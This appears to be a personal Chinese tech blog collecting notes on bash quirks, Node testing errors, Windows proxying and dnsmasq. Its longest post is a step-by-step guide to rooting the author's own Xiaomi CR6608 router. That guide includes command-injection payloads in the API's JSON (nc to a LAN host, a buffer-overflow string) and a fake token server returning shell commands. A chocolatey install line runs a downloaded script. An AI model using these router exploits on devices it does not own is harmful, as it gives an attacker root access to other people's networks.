Liangziye

深入浅出不如不进不出

0%

触发扩展条件

检测到一对花括号{},并在此内至少存在一个逗号,,或者存在一个有效的序列表达式{x..y[..incr]},花括号和逗号未被反斜杠\转义和未被单引号'双引号"包围,这时满足条件,触发花括号扩展Brace Expansion

1
2
3
4
5
6
7
8
9
10
11
12
echo a{1,2}b     #扩展
echo a{1..2..1}b #扩展
echo a\{1,2'}'b #没有一对花括号,不扩展
echo a{1\,2}b #没有逗号,不扩展
echo a{x..2..1}b #序列表达式无效,不扩展

# 输出
# a1b a2b
# a1b a2b
# a{1,2}b
# a{1,2}b
# a{x..2..1}b

扩展条件有比较特殊的情况,首先,参数扩展模式为${}同样有花括号,所以字符串${不认为是有效的{,不满足触发条件。

1
2
3
4
5
set -- 2    #将参数$1的值设为2
echo ${1,2} #${1,2}不会触发花括号扩展。但也不会报错,原因是在花括号扩展结束之后触发了参数扩展中的小写转换,$1值会去匹配字符2,匹配成功会将其转换为小写,当然2没有小写,即使$1值是2也不会报错,扩展结果就为2

# 输出
# 2

其次特殊的情况,扩展不会发生在参数parameter赋值中

A variable may be assigned to by a statement of the form

1
name=[value]

If value is not given, the variable is assigned the null string. All values undergo tilde expansion, parameter and variable expansion, command substitution, arithmetic expansion, and quote removal

Bash Reference Manual在参数的部分中提到的扩展是没有花括号扩展的

1
2
3
4
5
6
7
str=a{1,2}b #str的值就为a{1,2}b
echo a{1,2}b
echo $str #即使在变量中也不会花括号扩展,因为花括号扩展在参数扩展之前

# 输出
# a1b a2b
# a{1,2}b

扩展行为

逗号情况中,会将逗号视作分隔符,扩展为花括号中被分割的每一项,如果逗号在首位也是会分割的,分割得到空值。扩展的顺序为花括号内顺序,不会主动进行排序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
echo a{1,2}b
echo a{,1,2,}b


# 输出:
# a1b a2b
# ab a1b a2b ab
# a1b a2b a3b a4b a5b a6b
# a1b a2b a3b a4b a5b a6b
# a1b a3b a5b
# a1b a4b
# a1b a5b
# acb adb aeb afb
# acb aeb

{x..y[..incr]}为序列表达式,xy可为整数或者字母,可选值incr为整数作用与xy之间的增量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
echo a{1..6}b
echo a{1..6..1}b
echo a{1..6..2}b
echo a{1..6..3}b
echo a{1..6..4}b
echo a{c..f}b
echo a{c..f..2}b

# 输出:
# a1b a2b a3b a4b a5b a6b
# a1b a2b a3b a4b a5b a6b
# a1b a3b a5b
# a1b a4b
# a1b a5b
# acb adb aeb afb
# acb aeb

扩展中的特殊符号

如果花括号内逗号分割的是带反斜杠转义或者单双括号包围起来的元字符metacharater,那么就当字面意义上的字符对待,保留字reserved words同理

1
2
3
4
5
6
7
echo {\|,\&,\;,\(,\),\ ,$'\t',$'\n','<',\>}
echo {while,for,[,],!} #保留字

# 输出
# | & ; ( )
# < >
# while for [ ] !

由于$不是元字符,只要后面不跟{它在花括号扩展中只是一个字面意义上的普通字符

1
2
3
4
5
6
7
8
9
10
a='Im a'
b='Im b'

echo {$a,$b,Im\ $,Im\ \$\ too} #花括号扩展为$a,$b,Im $,Im \$ too,再之后被参数扩展为各个值
{echo,$a} #花括号扩展为echo $a


# 输出
# Im a Im b Im $ Im $ too
# Im a

环境

1
2
3
4
5
test() {
local cmd="some cmd......."
local opt="-p 1 -o ''"
${cmd} ${opt}
}

复现

-o选项期望接受到空值。

test函数被执行后,命令的-o选项接受的参数不是空值,而是两个单引号''

如果修改为两个双引号""

1
local opt="-o """

命令的-o选项接受的参数是两个双引号"",也不是空值。

给单双引号加反斜杠转义也没有用,依然没有成功接受到空值。

解决

在bash中字符串拼接容易引发各种问题,需要熟悉bash解析脚本时对单词的分割和引号的处理才能避免,这时候应该使用数组来保存传递参数而不是字符串。

1
2
3
4
local opt=(
-p 1
-o ""
)

添加选项以及参数通过增加数组元素来添加

1
opt+=(-dn 1)

传递给命令时使用@来展开数组,同时使用双引号将数组变量括起来

1
"${cmd}" "${opt[@]}"

前言

本文记录了从无到有将CR6608从官方固件刷成集客AP,并在局域网中安装集客软AC的完整过程,仅仅是本人自身实践的回顾和对刷机原理的总结,因环境存在差异,刷机有风险,如需使用请谨慎参照本文,不可照搬。另外,CR660X的刷机到现在已经非常普遍非常简单了,所有资料所有知识都来自于各个博客和论坛相关帖子,文中的操作全都可以通过搜索引擎搜索得到。

CR6606/CR6608/CR6609/TR608各型号的区别不在下文实践范围内,其中的差异需要搜索其他资料来确定。下文所有操作都基于CR6608、所有提到的“路由器”都特指CR6608。

当前环境:

  • CR6608为移动的1.0.23版本,双频WIFI开启但不合并,SSID和密码默认与机器背部贴纸上一致,工作模式为“普通路由工作模式”,DHCP开启,局域网IP为默认即192.168.10.1

必要环境

  • CR6608为运营商官方固件,其版本必须足够低,若是高版本建议先刷为低版本。

启用路由器的SSHD

利用漏洞向路由器注入命令,启用路由器的sshd。

下文中所有实践的方法都是需要登录路由器管理页面的,登录成功后保持管理页面不要关闭,在地址栏获得stok参数的值,有了它就可以请求路由器的api了。api通常为: http://[浏览器ip]/cgi-bin/luci/;stok=[stok值]/api/xxxxxxx/xxxxxxxx,下文中所有提到的api都简写为/api/xxxxxxx/xxxxxxxx。下文中提到的Rooting Xiaomi WiFi Routers文章也讨论了不需要stok值即不需要登录管理页面的相关漏洞,但它不在本文实践范围之内。

利用smartcontroller漏洞

利用这个漏洞的前提是路由器开启smartcontroller,如果没有开启就发起请求会得到Internal Server Error的响应,开启smartcontroller需要使用api:/api/misystem/set_sys_time来设定系统时间,这个api接受一个名为time的参数,把值设为2023-2-19 23:4:47&timezone=CST-8即可开启smartcontroller。这个请求为GET请求。

Rooting Xiaomi WiFi Routers文章中,有一个关于smartcontroller的注入漏洞,对于api:/api/xqsmarthome/request_smartcontroller,接受一个名为payload的参数,文章内已经为我们构造了这个参数的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"command":"scene_setting",
"name":"it3",
"action_list":[
{
"thirdParty":"xmrouter",
"delay":17,
"type":"wan_block",
"payload":
{
"command":"wan_block",
//注入。方式一。路由器会执行nc 192.168.31.161 4242
"mac":";nc 192.168.31.161 4242;#"
}
}
],
"launch":
{
"timer":
{
"time":"2:2",
"repeat":"0",
"enabled":true
}
}
}

上面json中的mac值就是注入的地方,有多种方式可以注入,路由器会以root执行注入的命令

1
2
3
4
//方式一。路由器会执行nc 192.168.31.161 4242
"mac":";nc 192.168.31.161 4242;#"
//方式二。利用栈缓冲区溢出,此种方式不合适命令注入)
"mac":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%de%ad%be%ef"

mac值之外,name值也能注入

1
2
//方式三。路由器会执行nc 192.168.31.161 4242
"name":"'$(nc 192.168.31.98 4242)'"

向路由器这个api发送带着上文payload的POST请求之后,我们再向这个api发送另一个POST请求带着下面的payload即可触发命令的执行:

1
2
3
4
5
{
"command":"scene_start_by_crontab",
"time":"2:2",
"week":0
}

可以使用任何工具发起POST请求带上字段为payload的参数即可,切记每一次发送了带注入命令的payload之后,需要接着发送上文中第二个payload才能触发命令的执行。

关于有关启用sshd的命令,路由器的sshd服务端为dropbear,需要执行的命令为:

1
2
3
4
5
sed -i s/release/XXXXXX/g /etc/init.d/dropbear
nvram set ssh_en=1
nvram commit
/etc/init.d/dropbear enable
/etc/init.d/dropbear restart

以下是有关此漏洞开启sshd的现成命令与工具:

mphin/miwifi_tools使用curl发送请求,只需要替换掉README中的每一条curl命令中的路由器IP和stok值,一条条按顺序执行即可。需要强调的是powershell中的curl命令实际上为Invoke-WebRequest的别名,如需在powershell中使用真正的curl需要调用curl.exe而不是curl;开启sshd后,root账户的密码可以先试试管理页的登录密码,如果不对需要计算得到Xiaomi Router Developer Guide & Tools

【教程】小米 AX3000/AX3600/AX9000/万兆路由器/AC2100/AC2350/AX1800/AX5400 开启SSH-小米无线路由器及小米网络设备-恩山无线论坛详细地写了使用curl开启sshd的教程;

最后,项目openwrt-xiaomi/xmir-patcher包含了开启sshd的功能,也有刷bl等其他功能但我没有在路由器上尝试。这个项目在使用上简单友好,有菜单,有交互输入,clone下来运行并按菜单指示操作就可以了。注意,根据交互输出的提示,此项目已经把root账户密码重置为了root。

1
2
3
4
5
6
git clone https://github.com/openwrt-xiaomi/xmir-patcher.git
cd xmir-patcher
#windows下执行!START.bat
.\!START.bat
#linux下执行run.sh 需要python 3.8+和openssl
./run.sh

环境没有安装git可以直接下载项目解压执行。

利用小米换机漏洞

利用这个漏洞的方法是让路由器连上一个wifi,此wifi必须满足在子网内没有DHCP服务,同时在子网内存在IP为169.254.31.1的主机,CR6608可以ping通此主机。

原理是当路由器没有被DHCP分配IP时会把自己的IP设为169.254.31.2,此时任意一台电脑向路由器请求/api/xqsystem/oneclick_get_remote_token会使路由器向169.254.31.1请求/api/xqsystem/token,路由器收到169.254.31.1的响应后,会执行包含在响应中名为token字段的值里面的任何命令,所以只要把开启sshd的命令写在这个值内,路由器即可开启sshd。

利用小米换机漏洞的步骤比较繁杂,暂时没有找到一键式的工具,各个帖子利用此漏洞所采取的操作也八仙过海,从效率和使用的角度来看,应该尽量利用smartcontroller漏洞来开启sshd。

准备:

  • 两台电脑,其中一台电脑可以安装虚拟机,有无线网卡能开启移动热点,定义为电脑A,另外一台定义为电脑B。
  • 路由器关闭双频合一,2.4G的WIFI开启。

电脑A安装VirtualBox

windows系统有winget可直接在终端使用winget安装,过程不短,中途有可能会多次断网和黑屏,需要耐心等待,安装完最好重启电脑A。

1
winget install --id Oracle.VirtualBox

没有winget或者其他系统可用其他包管理器安装或者直接在官网Downloads – Oracle VirtualBox下载安装。

也可以用其他虚拟机软件,如VM等。

下载OpenWrt固件,将img格式的固件转换为VirtualBox的vdi格式文件,在VirtualBox中安装新建虚拟机

官网下载合适的固件,此处用的固件是openwrt-22.03.5-x86-64-generic-ext4-combined-efi.imgcd到VirtualBox根目录中,使用根目录下的vboxmanage转换固件的文件格式:

1
.\vboxmanage.exe convertfromraw "输入的img文件路径" "输出的vdi文件路径" -format VDI

得到vdi格式的文件后,打开VirtualBox新建虚拟机,将vdi文件作为此虚拟机的虚拟硬盘。

踩坑:

一开始选择了24版本的OpenWrt,安装后发现目录有些变化,找不到LuCI的controller,为了节省时间直接使用电脑里很久之前下载好的22版本。

官网下载的文件格式是gz,我在windows上用7z解压报错,找不到原因后无奈移动它到debian上用gzip -d xxxx.gz解压。

新建虚拟机完成后无法启动虚拟机,报错error in supR3HardenedWinReSpawn,原因是服务没有安装成功,需要右键菜单安装VirtualBox根目录下的.\drivers\vboxsup\VBoxSup.inf再重启电脑A。

启动OpenWrt虚拟机,新建lua脚本,关闭LAN接口的DHCP,修改LAN接口的IP地址为169.254.31.1,掩码为255.255.255.0

为了方便修改OpenWrt的配置,暂时先从VirtualBox的控制台使用终端修改OpenWrt的LAN口IP为与当前电脑网络相同网段,这里电脑A是192.168.2.135/24,所以可以把OpenWrt的LAN口IP暂时先设置为这个网段下没有其他设备使用的IP如192.168.2.136。具体操作:双击虚拟机启动后弹出VirtualBox的控制台,在控制台编辑文件:vim /etc/config/network,修改interface lan下面的option ipaddr处的IP。修改完成重启网卡:/etc/init.d/network restart或重启系统:reboot。同时在VirtualBox处将OpenWrt虚拟机的网络改为桥接,桥接对象为电脑A当前正在上网的网卡,此时电脑A就能连接上虚拟机了,试试ping 192.168.2.136是否ping通。从windows终端处ssh连接它和使用浏览器登录webui都能更方便管理和修改配置。(这一步其实是完全多余的,当然也可以不做,下文操作以任意方式连上OpenWrt都可以完成)

在电脑A上使用终端ssh进OpenWrt,在/usr/lib/lua/luci/controller/admin/下新建一个名为xqsystem.lua的脚本,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
module("luci.controller.admin.xqsystem", package.seeall)


function index()
local page = node("api")
page.target = firstchild()
page.title = ("")
page.order = 100
page.index = true
page = node("api","xqsystem")
page.target = firstchild()
page.title = ("")
page.order = 100
page.index = true
entry({"api", "xqsystem", "token"}, call("getToken"), (""), 103, 0x08)
end

local LuciHttp = require("luci.http")

function getToken()
local result = {}
result["code"] = 0
result["token"] = "; nvram set ssh_en=1; nvram commit; sed -i 's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/dropbear start;"
LuciHttp.write_json(result)
end

浏览器访问192.168.2.135进入OpenWrt的webui,默认密码为空。点击“Network”-“Interface”-Edit”修改lan接口,在“General Settings”下修改ipv4地址为169.254.31.1,子网掩码为255.255.255.0,在“DHCP Server”选项卡下,勾选“General Setup”下的“Ignore interface”,取消勾选“Advanced Settings”下的“Dynamic DHCP”。点击“Save”保存,点击“Save & Apply”应用。修改完这些配置之后,电脑A是连不上OpenWrt的,为了不出现莫名其妙的问题,此时可以在VirtualBox重启一下OpenWrt。

踩坑:

单单通过勾选“Ignore interface”来禁用DHCP无法应用配置,再加上取消勾选“Dynamic DHCP”就可以了。

开启电脑A的移动热点,将OpenWrt虚拟机的网络桥接到热点的虚拟网卡上,通过取消热点虚拟网卡的IP协议来完全禁用DHCP

windows需要连接任意的WIFI才能打开移动热点,连接任意WIFI打开移动热点后,在设置中修改好热点的SSID和密码,“共享我的Internet连接”选WLAN,关闭“节能”选项避免操作过程中热点自动关闭。在控制面板中的“网络和Internet”中的“网络连接”,对热点的虚拟网卡右键属性,取消勾选“Internet协议版本4”和“Internet协议版本6”,点击层层确定按钮以完全关闭这些设置窗口以避免设置不生效。最后再到VirtualBox将OpenWrt的网络桥接对象改为此热点的虚拟网卡。至此,任何连上电脑A热点的设备都能连上OpenWrt虚拟机。

踩坑:

最开始我选择开启CR6608的SSH方案是在电脑A起一个Nginx而不是虚拟机,但是我发现将热点的IP设置为169.254.31.1并取消无线网卡的共享以达到禁用DHCP的目的的时候,CR6608连接电脑A热点总是不成功,虽然最初的十几秒WIFI已经连上,在OpenWrt也是可以ping通169.254.31.2的,但是WIFI最终会断掉,断掉后在电脑B的浏览器返回“DHCP failed code 1619”。其次我尝试过不使用热点而是第三方旧路由器方案,依然会报这个错,也许跟我电脑A的网络拓扑和DHCP没有成功禁用有关系。

电脑B连接路由器,进入路由器的web管理界面,复制浏览器地址栏URL参数中的stok值备用

路由器通电,电脑B网线连接路由器的LAN口,电脑B的网卡IP地址设置为与路由器LAN口IP同一网段,这里设置为192.168.10.34。若电脑B用无线连接路由器,则要确保路由器的双频没有合一,并且只连接其5G的WIFI,因为2.4G在后续需要连接电脑A的热点,同时也要记得修改无线网卡的IP。浏览器输入路由器的IP地址即192.168.10.1,进入管理界面后复制浏览器地址栏URL参数中的stok值备用。注意!电脑B中的管理界面不能关掉,浏览器不能关掉,不能断开与路由器的连接,以此来保证stok值不发生变化。

CR6606/CR6608/CR6609默认IP分别为:192.168.31.1、192.168.10.1、192.168.2.1

在电脑B浏览器访问路由器的api:/api/misystem/extendwifi_connect,使路由器去连接电脑A的热点

在电脑B开启一个新的浏览器标签页或窗口,访问以下替换掉“路由器IP”、“stok值”、“热点名称”、“热点密码”的链接:

1
http://路由器IP/cgi-bin/luci/;stok=stok值/api/misystem/extendwifi_connect?ssid=热点名称&password=热点密码

稍加等待,成功会返回一个code为0的json值{"msg":"connect succces!","code":0}。题外话,貌似开发人员在这里有拼写错误,我的路由器的确返回的是“succces”。

踩坑:

坑太多了,这里成功需要完全保证169.254.31.1的设备或者这个子网内不小心连上的其它设备都关闭DHCP,以确保CR6608在没有被分配IP的情况下将自己IP设置为169.254.31.2——所以为避免冲突整个子网也不能有IP为169.254.31.2的占用。我尝试的其他方案大多数都在这一步报了1619的错,唯一有一次在第三方旧路由方案中,我尝试各种接法中的一种,成功返回了code0,但是我已经忘记了它是怎么接的了,而且跟连上电脑A热点的DHCP是否是真的关掉了有非常大的关系。像上文提到的,CR6608并不是连不上热点,而是连上了热点不久又自己断掉才返回的1619报错。

在电脑B浏览器访问api:/api/xqsystem/oneclick_get_remote_token使路由器触发小米换机的漏洞,以此来开启SSHD

在电脑B开启一个新的浏览器标签页或窗口,访问以下替换掉“路由器IP”、“stok值”的链接:(链接中的username以及其他参数的值都不要改,它就是xxx)

1
http://路由器IP/cgi-bin/luci/;stok=stok值/api/xqsystem/oneclick_get_remote_token?username=xxx&password=xxx&nonce=xxx

稍加等待,成功一样会返回一个code为0的json值{"token":"..........","code":0}。至此,路由器的sshd已经成功开启,不要断掉连接也不要重启路由器,因为sshd没有固化。

刷PB-BOOT

在电脑B上使用scp或者winscp等工具传PB-BOOT的img文件进路由器,在电脑B的终端上使用SSH登录路由器,刷入PB-BOOT

在电脑B上打开winscp,协议选择scp,IP地址填写路由器的地址即192.168.10.1,用户名是root,密码是机器背部贴纸的密码也就是管理页面的管理员密码。

winscp进入路由器后,将提前准备好的PB-BOOT的img文件传送进路由器内,一般选择/tmp目录。

接着,在终端上使用ssh进入路由器:

1
ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.10.1

成功进去之后,刷PB-BOOT:

1
mtd write /tmp/pb-boot.img Bootloader

运行完之后重启:

1
reboot

至此,PB-BOOT刷完,重启机器稍微等待一会,拔掉路由器的电源,用取卡针或者牙签顶住路由器的reset按钮不松开,再接上路由器的电源,等待十几秒后松开reset按钮,此时路由器开机进入PB-BOOT。把电脑B的网卡改成192.168.1.0/24网段的,例如192.168.1.34,子网掩码改为255.255.255.0,就可以在电脑B上通过浏览器里访问192.168.1.1进入PB-BOOT。

踩坑:

winscp中协议不选scp会被目标拒绝。

其他帖子提到CR6606在刷机之后root密码会变成与MAC/SN相关的密码需要计算才能得到。

ssh不加rsa的参数去连接路由器如果报no matching host key type found.Their offer:ssh-rsa的错,需要加上-oHostKeyAlgorithms=+ssh-rsa参数,变成ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.10.1

刷BREED改MAC(可选)

刷集客固件之后每次重启MAC都会改变,如果最终目的是刷集客固件的话,需要事先刷BREED去固定MAC再刷会PB-BOOT。如果是刷OpenWrt或者其他固件,此步跳过。

紧接上文,在PB-BOOT的页面上点击选择文件,选择电脑B上实现准备好的BREED的bin文件,点击恢复固件,耐心等待它刷完,点击“进入路由器首页”可以直接进BREED,BREED的IP也是192.168.1.1。点击MAC地址修改,在“LAN MAC”那一行填上机器背部贴纸上的MAC地址,点击“修改”。点击固件更新,勾选“Bootloader”,选择PB-BOOT固件,勾选“自动重启”,点击“上传”,点击“更新”,耐心等待它刷回PB-BOOT。提示成功刷完后,浏览器重新访问192.168.1.1就可以回到PB-BOOT了。

踩坑:

直接用BREED刷集客AP固件,在一些版本上会出现路由器指示灯不亮的问题,这对于CR6608影响非常大,因为它后面的接口也没有指示灯,如果正面的指示灯不亮的话,根本无法判断它是否正常开机。

刷集客AP固件

在PB-BOOT上选择8.0版本的集客固件刷入

在PB-BOOT上选择电脑B上提前准备好的集客固件,固件的型号是AP246ND,版本是8.0,刷入。至此,路由器刷集客AP固件完成。

进入集客AP管理页面

刷完后,集客AP的默认IP地址为6.6.6.6,像上文一样再次修改电脑B网卡的IP地址为6.6.6.6/24网段的IP例如6.6.6.34,就可以进入集客AP的管理页面。

踩坑:

6.1版本的AP246ND固件的管理页面,用Edge浏览器无法登录,在输入密码后进入页面会闪一下便立刻退出,换Chrome没有发现此问题,疑似跟浏览器的插件有冲突。另外7.4版本的AP246ND固件在Edge上打开管理页面一切正常。

小米CR660X(6606/6608/6609) 折腾过程以及刷集客AP测试发现的几个问题-小米无线路由器及小米网络设备-恩山无线论坛看来,有着先刷6.1再更新7.4的操作,原因为:低版本存在射频无信号的BUG,高版本存在开机几分钟便无限重启的BUG,先刷6.1再升7.4可以同时避免这两个BUG。

7.4版本的5G信号启动得非常慢,起初我误以为此版本在路由器上没有5G射频,事实上开机好几分钟之后才能在列表看到5G的SSID。重新刷了7.2版本,此问题同样存在。

目前尝试过的版本:6.4、7.2、7.4、8.0都会在重启后丢失所有配置,所以从实际情况考虑是需要部署一个AC用于下发配置的。

最终选择的8.0集客AP固件是没有free版本的,所以8.0的管理页面会显示未注册——即使刚刷完显示已注册但用一会就会变回未注册。就目前看来,未注册暂时没有对我造成使用上的困扰。

部署集客AC

集客官方直接提供了AC控制器在各平台的二进制文件:文件管理,加上我的主路由环境多年来一直都是ESXi打底上面跑OpenWrt的组合,使得安装软AC的过程畅通无阻。如果主路由没有虚拟化的话,软AC需要考虑其他方案,比如在OpenWrt上跑Docker部署软AC的镜像,或者不考虑软AC,改之为使用一台合适的路由器刷集客对应版本的AC固件。

ESXi创建虚拟机

集客官方在文件管理提供了86、amd64、arm、mips各个平台的文件,选择最熟悉的系统即可。这里安装的是我比较熟悉的Debian,从Debian官网提供的镜像站下载Debian的iso文件debian-12.1.0-amd64-DVD-1.iso

在ESXi上创建一台虚拟机,在设置上,网络适配器:选择的端口组为主路由所在的端口组,或不同端口组但两端口组处于同一个虚拟交换机内,这里显而易见是为了让Debian与主路由所处的网络连通。CD/DVD硬盘驱动器:选择Debian的iso镜像。

启动Debian虚拟机开始安装系统,安装过程中的不要选择任何多余的软件,只需要选择安装SSH就可以了。

虚拟机的基本网络配置

根据集客官方的说明文档:file.cnrouter.com/upload/gac/含登录页面版本(主要用于独立使用)/运行参数说明.txt,需要让AP能访问到6.7.8.9:60650,可选方案一是把Debian的IP静态为6.7.8.9,二是从OpenWrt主路由做一个转发从Debian的IP:端口转发到6.7.8.9:60650。为了考虑方便迁移,减少依赖性,此处选择的前者,直接把Debian静态为6.7.8.9。

修改 /etc/network/interfaces,把Debian当前的网卡ens33设为静态,网关指向OpenWrt主路由。

1
#ipv4 static                                                                     auto ens33                                                                       iface ens33 inet static                                                           address 6.7.8.9                                                                   netmask 255.255.255.0                                                             gateway 192.168.2.1

重启网卡

1
systemctl restart networking

部署集客软AC

下载集客官方提供的文件ac_linux_amd64_V2.2_202503181710到Debian

1
2
3
4
5
cd /etc
mkdir jike
cd ./jike
wget http://file.cnrouter.com/upload/gac/%E5%90%AB%E7%99%BB%E5%BD%95%E9%A1%B5%E9%9D%A2%E7%89%88%E6%9C%AC%EF%BC%88%E4%B8%BB%E8%A6%81%E7%94%A8%E4%BA%8E%E7%8B%AC%E7%AB%8B%E4%BD%BF%E7%94%A8%EF%BC%89/ac_linux_amd64_V2.2_202503181710
chmod +x ac_linux_amd64_V2.2_202503181710

到这里其实就可以直接运行集客AC了,但还可以再做一些工作完善一下。

设置集客AC开机启动

首先我们设置Debian这个虚拟机在宿主机ESXi启动时自动启动,在ESXi虚拟机列表右键Debian弹出菜单点击自动启动,启用它。

在Debian刚刚放集客AC的目录下面再新建一个脚本固定一下ac启动的参数,根据官方的说明file.cnrouter.com/upload/gac/含登录页面版本(主要用于独立使用)/运行参数说明.txt,可选参数非常少并且简单易懂,其间也给出了启动示例,只需要关心-p-mp自定义一下控制器端口和管理页面端口,-f-dbpath 自定义一下上传文件目录和数据库目录即可

1
2
3
cd /etc/jike
touch ac_run.sh
chmod +x ac_run.sh

ac_run.sh写上运行ac_linux_amd64_V2.2_202503181710的命令

1
2
#!/bin/bash
nohup ./ac_linux_amd64_V2.2_202503181710 -p 60650 -mp 80 -f ./upload/ -dbpath ./ -token 1 -lang zh -https 0 -isonlyoneprot 0 >ac_linux_amd64.log&

接着加入开机启动脚本

1
2
3
cd /etc/init.d
touch jike.sh
chmod +x jike.sh

jike.sh写上执行ac_run.sh的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash

### BEGIN INIT INFO
# Provides: jike_ac
# Required-Start: $network $remote_fs $local_fs
# Required-Stop: $network $remote_fs $local_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: run jike ac
# Description: run jike ac
### END INIT INFO

cd /etc/jike
./ac_run.sh

exit 0

加入开机启动,重启一下Debian检查下开机启动是否成功

1
2
update-rc.d jike.sh defaults
reboot

设置AC控制器,下发AP配置

把电脑改为与6.7.8.9同一网段,访问6.7.8.9进入AC控制器的管理页面。管理页面上说明写着“无线AP可以跨VLAN,子网,三层交换机,路由器和防火墙找到本AC”,“在未隔离广播的情况下,子网6.7.8.9/255.255.255.0内的AP可以通过广播的方式自动发现本AC”,“也可以通过在核心交换机上添加一条到6.7.8.9/32,下一跳为6.7.8.9的静态路由来让AP发现本AC”。

按理说,把所有刷好AP固件的路由器LAN口接入到局域网中,网络配置无误的情况下在AC管理页面的无线AP列表会显示出所有AP。

踩坑:

我把路由器接入到局域网中之后,在子网内AC无法发现AP,折腾了一番只能选择去OpenWrt主路由添加一条静态路由。接口选局域网的接口,路由类型选单播,目标填6.7.8.9/32,网关填0.0.0.0。添加这条静态路由之后,不仅6.6.6.6的AP路由器能连通到AC的6.7.8.9,整个局域网都能连通到6.7.8.9了。

在AC控制器管理页面新增模板,设置好WIFI的各个参数,再把模板下发给所有AP路由器即可,接着选择所有AP路由器修改密码,对每台AP单独命名。至此,集客AC部署设置完成。

环境

根目录.mocharc.json

1
2
3
4
5
6
7
8
9
10
{
"require": "ts-node/register",
"spec": "src/test/**/*.ts",
"extension": ["ts"],
"timeout": 5000,
"reporter": "spec",
"slow": 300,
"ui": "bdd",
"recursive": true
}

根目录package.json部分

1
2
3
4
5
6
7
8
9
10
11
12
{
"type": "commonjs",
"scripts": {
"test": "mocha"
},
"dependencies": {
"@types/chai": "^4.3.16",
"@types/mocha": "^10.0.6",
"chai": "^4.4.1",
"mocha": "^10.4.0"
}
}

复现

运行npm run test报错

1
Exception during run: TypeError [ERR_UNKNOWN_FILE_EXTENSION]: Unknown file extension ".ts" for ......................

解决

chai当前5.x版本仅支持纯ESM,而当前项目type为commonjs,安装char的4.x版本即可

1
2
3
npm uninstall @types/chai chai
npm cache clean --force
npm install chai@4 @types/chai@4

相关链接

v5 - Unknown file extension ".ts" when running with mocha · Issue #1568 · chaijs/chai (github.com)

当前环境

  • win10
  • npm v10.7.0
  • node v18.20.3

安装chocolatey

powershell管理员安装:

1
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))

耐心等待,过程涉及到下载,需要一定耗时。

详见官网

安装环境相关

1
choco install python visualstudio2022-workload-vctools -y

详见node-gpy README

npm安装node-gyp

1
npm install -g node-gyp

场景

在win10 VS2022上试了一下调试ProwlarrFlareSolverr,想搞懂为什么docker上跑着的这两容器在某一两个pt站上不能成功过CF的5秒盾,需要抓下包确认下请求头是否设置无误。

尝试

想从VS里面直接抓包,一些旧版VS在性能查看器那里是有关于网络的,从某个版本开始也移除了这个功能,没有网络了。

打开了wireshark从网卡当然可以抓到所有包,但请求都是https,用改环境变量让chrome记录ssllog接着wireshark去读它然后解密的方法,只适用于浏览器,对IDE调试没用。想走一样的思路让IDE去记录调试中网络连接的私钥,也没能搜到相关的内容。

于是我打开了fiddler,fiddler是代理中间人的模式,肯定能解https,可是调试时却发现没能抓到任何一个VS的包,浏览器的包倒是能抓到,原因是vs发出的网络请求没从fiddler代理的8888端口经过。

接着便是修改VS的设置让VS从8888走代理,搜了一下发现2022版本好像是没有代理服务器设置的,旧版是有的,某个版本开始也移除了。

最后用netsh修改WinHTTP的代理,然后重启VS,问题得到了解决。

解决方案

设置代理:

1
netsh winhttp set proxy 127.0.0.1:8888

重置:

1
netsh winhttp reset proxy

引用

wireshark https抓包

Introducing Visual Studio’s Network tool

Configure .NET Core Applications

开了dnsmasq的日志之后,发现一次query下面却跟了两个forwarded

1
2
3
4
Jul  6 13:03:12 dnsmasq[14543]: 1 192.168.x.xxx/60201 query[A] clientservices.googleapis.com from 192.168.x.xxx
Jul 6 13:03:12 dnsmasq[14543]: 1 192.168.x.xxx/60201 forwarded clientservices.googleapis.com to 223.5.5.5
Jul 6 13:03:12 dnsmasq[14543]: 1 192.168.x.xxx/60201 forwarded clientservices.googleapis.com to 223.5.5.5
Jul 6 13:03:12 dnsmasq[14543]: 1 192.168.x.xxx/60201 reply clientservices.googleapis.com is 120.253.255.98

我第一反应跟我用两条宽带有关,于是把其中一条宽带的DNS改成114.114.114以区分,果然,两次forwarded,一次223.5.5.5一次114.114.114

1
2
3
4
Jul  6 13:29:45 dnsmasq[780]: 1 192.168.x.xxx/58192 query[A] www.google.com from 192.168.x.xxx
Jul 6 13:29:45 dnsmasq[780]: 1 192.168.x.xxx/58192 forwarded www.google.com to 223.5.5.5
Jul 6 13:29:45 dnsmasq[780]: 1 192.168.x.xxx/58192 forwarded www.google.com to 114.114.114.114
Jul 6 13:29:45 dnsmasq[780]: 1 192.168.2.135/58192 reply www.google.com is 142.251.43.4

不知道为什么dnsmasq要每一条宽带都请求一次,可能是在负载均衡的规则中进了balanced。

于是去负载均衡里面加上了两条DNS的规则,让tcp/udp协议的目标端口为53的流量都优先走其中一条宽带,发现并不管用。

去看看dnsmasq的解析文件/tmp/resolv.conf.d/resolv.conf.auto

1
2
3
4
# Interface wan
nameserver 223.5.5.5
# Interface wan1
nameserver 114.114.114.114

突然明白了,我之前勾选了“使用 all-servers 并发查询”,这样每个网络接口里面自定义的DNS服务器都会查一次,但只用最快得到的结果。我取消了并发查询之后,一次query只有一个forwarded。

其实问题出在resolv.conf,两个网络接口用相同的nameserver,resolv.conf会加上两条相同的nameserver,而不是相同的nameserver会自动去重。

在openwrt的luci可以直接开启dnsmasq的日志:

网络->DHCP/DNS->基本请求->记录查询日志 勾上

下面小字写着“将收到的 DNS 请求写入系统日志”,可是我没发现系统日志有dns查询记录

去看了一下配置文件/etc/dnsmasq.conf,除了一行log-facility=/dev/null就全是注释,很明显主要配置不在这里

